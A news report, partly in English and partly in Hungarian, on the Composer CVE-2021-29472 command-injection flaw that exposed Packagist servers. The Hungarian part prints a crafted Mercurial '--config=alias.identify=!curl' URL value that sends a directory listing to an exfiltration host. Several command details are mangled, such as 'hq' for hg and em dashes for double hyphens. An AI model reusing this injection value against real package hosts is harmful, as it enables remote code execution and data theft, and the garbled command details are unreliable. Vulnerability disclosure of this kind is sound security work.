A critical vulnerability (CVE-2021-29472) has been identified in the Composer dependency manager, which allows arbitrary commands to be executed on the system when processing a package with a specially crafted URL that specifies the location for downloading source code. This issue manifests in the GitDriver, SvnDriver, and HgDriver components used in source control systems like Git, Subversion, and Mercurial. The vulnerability has been addressed in Composer versions 1.10.22 and 2.0.13.
It is particularly noteworthy that the problem mainly affected the Packagist package repository, which is used by default in Composer, containing 306,000 packages for PHP developers and servicing over 1.4 billion downloads monthly. Experiments have shown that if attackers were aware of the issue, they could gain control over Packagist's infrastructure, intercept credentials, or redirect package downloads to an external server, delivering modified package variants to insert a backdoor during dependency installation.
The danger for end users is limited since the content of composer.json is typically defined by the user, and links to source code are referenced by accessing generally trustworthy external repositories. The main impact was on the Packagist.org repository and the Private Packagist service, which invokes Composer by passing data obtained from users. Malicious actors could have executed their code on Packagist servers by deploying a specially crafted package.
The Packagist team resolved the vulnerability within 12 hours after being alerted. Researchers privately notified the Packagist developers on April 22, and the issue was corrected the same day. The public update of Composer that remedied the vulnerability was released on April 27, with details disclosed on April 28. An audit of logs on Packagist servers found no suspicious activity related to the vulnerability.
A probléma oka a composer.json gyökérfájlban lévő URL-ellenőrző kód hibája, valamint a forrásfájlok letöltésére vonatkozó hivatkozások. A hiba 2011 novembere óta jelen van a kódban. A Packagist-ban, a kód letöltésének szervezésére, amely nem kötődik egy adott forráskezelő rendszerhez, speciális rétegek alkalmazandók, amelyek az „fromShellCommandline” hívásával valósulnak meg, parancssori argumentumok átadásával. Például a git esetében a következő parancs hívódik meg: „git ls-remote —heads $URL”, ahol az URL a „ProcessExecutor::escape($url)” metódussal van feldolgozva, amely a potenciálisan veszélyes konstrukciókat, mint például „$(…)” vagy „`…`”, képes elrejteni.
A probléma lényege, hogy a ProcessExecutor::escape metódus nem rejtette el a „—“ karaktert, így bármilyen további hívási paramétert lehetett megadni az URL-ben. Az ilyen elrejtés hiányzott a GitDriver.php, SvnDriver.php és HgDriver.php illesztőprogramokban. A GitDriver.php-n keresztüli támadást megakadályozta, hogy a „git ls-remote” parancs nem támogatta a további argumentumok megadását a könyvtár után. Lehetségessé vált a támadás az HgDriver.php-n keresztül a „—config” paraméter átadásával a „hq” segédprogramnak, amely lehetővé tette bármely parancs végrehajtását az „alias.identify” beállítás manipulálásával. Például a kód letöltésére és futtatására a curl segédprogram indításával a következő kérés volt megadva: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"
Miután a Packagist-ban elhelyeztek egy tesztcsomagot hasonló URL-lel, a kutatók megerősítették, hogy a szerverükre érkezett egy HTTP-kérdés egyik szerverek Packagist az AWS-en, amely a jelenlegi könyvtár fájljainak listáját tartalmazza.
Forrás: opennet.ru
